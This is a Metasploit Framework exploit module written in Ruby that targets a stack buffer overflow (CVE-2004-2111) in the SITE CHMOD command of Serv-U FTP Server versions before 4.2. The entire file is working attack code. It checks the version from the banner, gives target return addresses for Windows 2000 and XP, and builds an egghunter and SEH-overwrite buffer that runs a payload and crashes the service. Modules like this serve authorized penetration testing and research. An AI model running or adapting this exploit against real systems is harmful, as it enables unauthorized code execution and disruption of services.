##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Egghunter
	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Serv-U FTP Server < 4.2 Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the site chmod command
				in versions of Serv-U FTP Server prior to 4.2.

				You must have valid credentials to trigger this vulnerability. Exploitation
				also leaves the service in a non-functional state.
			},
			'Author'         => 'theLightCosine',
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2004-2111'],
					[ 'OSVDB', '3713'],
					[ 'BID', '9483'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'DisableNops' => true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP0-4 EN', {
						'Ret'    => 0x750212bc, #WS2HELP.DLL
						'Offset' => 396 } ],
					[ 'Windows XP SP0-1 EN', {
						'Ret'    => 0x71aa388f, #WS2HELP.DLL
						'Offset' => 394 } ]
				],
			'DisclosureDate' => 'Dec 31 2004',
			'DefaultTarget'  => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end


	def exploit
		c = connect_login
		return if not c

		eggoptions =
		{
			:checksum => true,
			:eggtag => "W00T"
		}

		hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)


		buffer = "chmod 777 "
		buffer <<  make_nops(target['Offset'] - egg.length - hunter.length)
		buffer << egg
		buffer << hunter
		buffer << "\xeb\xc9\x41\x41"	#nseh, jump back to egghunter
		buffer << [target.ret].pack('V')	#seh
		buffer << rand_text(5000)

		print_status("Trying target #{target.name}...")

		send_cmd( ['SITE', buffer] , false)

		handler
		disconnect
	end

end
